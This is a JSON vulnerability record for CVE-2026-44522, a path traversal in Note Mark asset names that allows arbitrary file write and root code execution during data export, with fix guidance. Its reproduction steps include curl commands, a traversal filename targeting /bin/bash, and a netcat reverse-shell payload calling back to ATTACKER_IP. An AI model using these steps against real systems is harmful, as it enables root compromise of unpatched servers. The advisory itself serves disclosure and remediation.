{"id":"CVE-2026-44522","aliases":["CVE-2026-44522","GHSA-g49p-4qxj-88v3","GO-2026-5389"],"related":[],"kind":"vulnerability","state":"published","title":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leading to Remote Code Execution","summary":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Note Mark is an open-source note-taking application. From 0.13.0 to before 0.19.4, the Note Mark application allows authenticated users to upload assets to notes via POST /api/notes/{noteID}/assets, where the asset filename is provided through the X-Name HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of filepath.Base() to strip directory components. The unsanitized name is persisted as-is in the note_assets table (Name column, varchar(80)). When an administrator subsequently runs the data export CLI commands (note-mark migrate export-v1 or note-mark migrate export), the stored asset name is passed directly into filepath.Join() and path.Join() calls as part of the output file path argument to os.Create(). Since Go's filepath.Join() resolves ../ sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory. This vulnerability is fixed in 0.19.4.","source":"cvelist"},{"lang":"en","text":"### Description\n\nThe Note Mark application allows authenticated users to upload assets to notes via `POST /api/notes/{noteID}/assets`, where the asset filename is provided through the `X-Name` HTTP request header. This value is stored directly in the database without any sanitization or validation - no path separator filtering, no directory traversal sequence rejection, and no use of `filepath.Base()` to strip directory components. The unsanitized name is persisted as-is in the `note_assets` table (`Name` column, `varchar(80)`).\n\nWhen an administrator subsequently runs the data export CLI commands (`note-mark migrate export-v1` or `note-mark migrate export`), the stored asset name is passed directly into `filepath.Join()` and `path.Join()` calls as part of the output file path argument to `os.Create()`. Since Go's `filepath.Join()` resolves `../` sequences during path normalization, an attacker-controlled asset name containing directory traversal sequences causes the export process to write files to arbitrary locations on the filesystem, completely outside the intended export directory.\n\nThe export process typically runs as root (the default in Docker deployments and common in bare-metal setups). This means the arbitrary file write operates with root privileges, allowing an attacker to write to any writable location on the filesystem. This can be escalated to Remote Code Execution by overwriting system binaries such as `/bin/bash` with a malicious payload. Since the Go binary is statically compiled and does not shell out to external programs during the export, overwriting `/bin/bash` does not affect the running export process. However, the next time any user or administrator invokes `bash` on the system, the attacker-controlled binary executes instead, resulting in code execution as root. In environments with cron or systemd, writing to `/etc/cron.d/` or systemd unit files provides additional exploitation paths.\n\nThe data flow is: `X-Name` HTTP header > `handlers/assets.go` (no validation) > `services/assets.go` (stored to DB as-is) > `cli/migrate.go` (used in `os.Create(filepath.Join(..., asset.Name))`) > arbitrary file write.\n\n#### Source Code Analysis\n\nThe asset upload handler at `backend/handlers/assets.go:48-51` extracts the filename directly from the `X-Name` header:\n\n```go\ntype PostNoteAssetInput struct {\n    NoteID  uuid.UUID `path:\"noteID\" format:\"uuid\"`\n    Name    string    `header:\"X-Name\" required:\"true\"`\n    RawBody []byte    `required:\"true\"`\n}\n```\n\nThe service layer at `backend/services/assets.go:39-42` stores this value without validation:\n\n```go\nnoteAsset := db.NoteAsset{\n    NoteID: noteID,\n    Name:   name,\n}\n```\n\nThe V1 export function at `backend/cli/migrate.go:328` uses the unsanitized name directly:\n\n```go\nf, err := os.Create(filepath.Join(noteDir, asset.Name))\n```\n\nThe non-V1 export function at `backend/cli/migrate.go:223` similarly uses it:\n\n```go\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+asset.Name))\n```\n\nIn both cases, `filepath.Join` / `path.Join` resolves `../` sequences in `asset.Name`, causing the resulting path to escape the intended directory.\n\n\n### Steps to Reproduce\n\n1. Start a Note Mark instance (version 0.19.2 or earlier) using the official Docker image: `docker run -d --name notemark -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.2`\n\n2. Register a user account: `curl -s -X POST http://localhost:8080/api/users -H 'Content-Type: application/json' -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"attacker\"}'`\n\n3. Authenticate and capture the session cookie: `curl -s -D - -X POST http://localhost:8080/api/auth/token -H 'Content-Type: application/json' -d '{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}'`. Save the `Auth-Session-Token` cookie value from the `Set-Cookie` response header.\n\n4. Create a notebook: `curl -s -X POST http://localhost:8080/api/books -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{\"name\":\"test\",\"slug\":\"test\"}'`. Note the returned `id` as `BOOK_ID`.\n\n5. Create a note in the notebook: `curl -s -X POST http://localhost:8080/api/books/<BOOK_ID>/notes -H 'Content-Type: application/json' -b 'Auth-Session-Token=<TOKEN>' -d '{\"name\":\"test\",\"slug\":\"test\"}'`. Note the returned `id` as `NOTE_ID`.\n\n6. Upload an asset with a reverse shell payload in the body and a path traversal filename in the `X-Name` header targeting `/bin/bash`: `curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\\nnc <ATTACKER_IP> <PORT> -e /bin/sh'`. Confirm the response contains `\"name\":\"../../../../../../bin/bash\"`, showing the traversal payload was stored without sanitization.\n\n7. Trigger the export as an administrator (simulating the admin running a routine data export): `docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup`\n\n8. Verify `/bin/bash` was overwritten with the attacker payload: `docker exec notemark cat /bin/bash`. The file should contain the reverse shell script instead of the original bash binary, confirming arbitrary file write.\n\n9. Start a listener on the attacker machine (`nc -lvnp <PORT>`), then invoke bash on the target: `docker exec notemark bash`. A reverse shell connects back to the attacker as root, confirming Remote Code Execution.\n\n#### Proof of Concept (Video) \n[note-mark-path-traversal-rce.webm](https://github.com/user-attachments/assets/6969a00a-3ad1-4e30-b5ce-9e780da4fa2b)\n\n\n### Recommendations\n\nThe root cause is the complete absence of input validation on the `X-Name` header value used as the asset filename. The fix should be applied at two layers.\n\nAt the input layer in the asset upload handler, the application should reject any asset name containing path separators (`/`, `\\`) or directory traversal sequences (`..`). The simplest approach is to apply `filepath.Base()` to the incoming name, which strips all directory components and returns only the final filename element. Names that resolve to empty strings or `.` after this operation should be rejected. This validation should be applied in the `PostNoteAsset` handler before the name reaches the service layer.\n\nAt the export layer in the CLI migration code, the application should apply `filepath.Base()` to `asset.Name` before using it in any file path construction as a defense-in-depth measure. This ensures that even if a malicious name exists in the database (from before the input validation was added), the export process cannot be exploited. Both the V1 export path at `migrate.go:328` and the standard export path at `migrate.go:223` require this fix.\n\n\nReported By: Ravindu Wickramasinghe (rvz) - Zyenra Security -  www.zyenra.com","format":"markdown","source":"ghsa"},{"lang":"en","text":"Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution in github.com/enchant97/note-mark/backend","format":"markdown","source":"go"},{"lang":"es","text":"Note Mark es una aplicación de toma de notas de código abierto. Desde la versión 0.13.0 hasta antes de la 0.19.4, la aplicación Note Mark permite a los usuarios autenticados subir activos a las notas a través de POST /API/notes/{noteID}/assets, donde el nombre de archivo del activo se proporciona a través del encabezado de solicitud HTTP X-Name. Este valor se almacena directamente en la base de datos sin ninguna sanitización o validación - sin filtrado de separadores de ruta, sin rechazo de secuencias de salto de directorio, y sin el uso de filepath.Base() para eliminar componentes de directorio. El nombre no sanitizado se persiste tal cual en la tabla note_assets (columna Name, varchar(80)). Cuando un administrador ejecuta posteriormente los comandos CLI de exportación de datos (note-mark migrate export-v1 o note-mark migrate export), el nombre del activo almacenado se pasa directamente a las llamadas filepath.Join() y path.Join() como parte del argumento de la ruta del archivo de salida a os.Create(). Dado que filepath.Join() de Go resuelve las secuencias .. /  durante la normalización de la ruta, un nombre de activo controlado por el atacante que contiene secuencias de salto de directorio hace que el proceso de exportación escriba archivos en ubicaciones arbitrarias en el sistema de archivos, completamente fuera del directorio de exportación previsto. Esta vulnerabilidad se corrige en la versión 0.19.4.","source":"nvd"}],"published":"2026-05-07T21:06:55.000Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"}],"cwes":["CWE-20","CWE-22"],"affected":[{"ranges":[{"version":">= 0.13.0, < 0.19.4","status":"affected"}],"vendor":"enchant97","product":"note-mark","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260501152243-db3f72bff780"}],"ecosystem":"Go","package":"github.com/enchant97/note-mark/backend","purl":"pkg:golang/github.com/enchant97/note-mark/backend","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260501152243-db3f72bff780"}],"ecosystem":"Go","package":"github.com/enchant97/note-mark/backend","purl":"pkg:golang/github.com/enchant97/note-mark/backend","source":"go"}],"references":[{"url":"https://github.com/enchant97/note-mark/security/advisories/GHSA-g49p-4qxj-88v3","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44522","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/enchant97/note-mark","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/enchant97/note-mark/releases/tag/v0.19.4","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-14T19:44:26.723Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44522","url":"https://www.cve.org/CVERecord?id=CVE-2026-44522","licence":"CVE Terms of Use","modified":"2026-05-14T19:44:31.854Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g49p-4qxj-88v3","url":"https://github.com/advisories/GHSA-g49p-4qxj-88v3","licence":"CC-BY-4.0","modified":"2026-06-25T19:56:37.951Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5389","url":"https://pkg.go.dev/vuln/GO-2026-5389","licence":"CC-BY-4.0","modified":"2026-06-25T19:45:38.471Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44522","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.746Z","epss":{"score":0.00565,"percentile":0.48285,"date":"2026-12-01T12:00:22.000Z"}}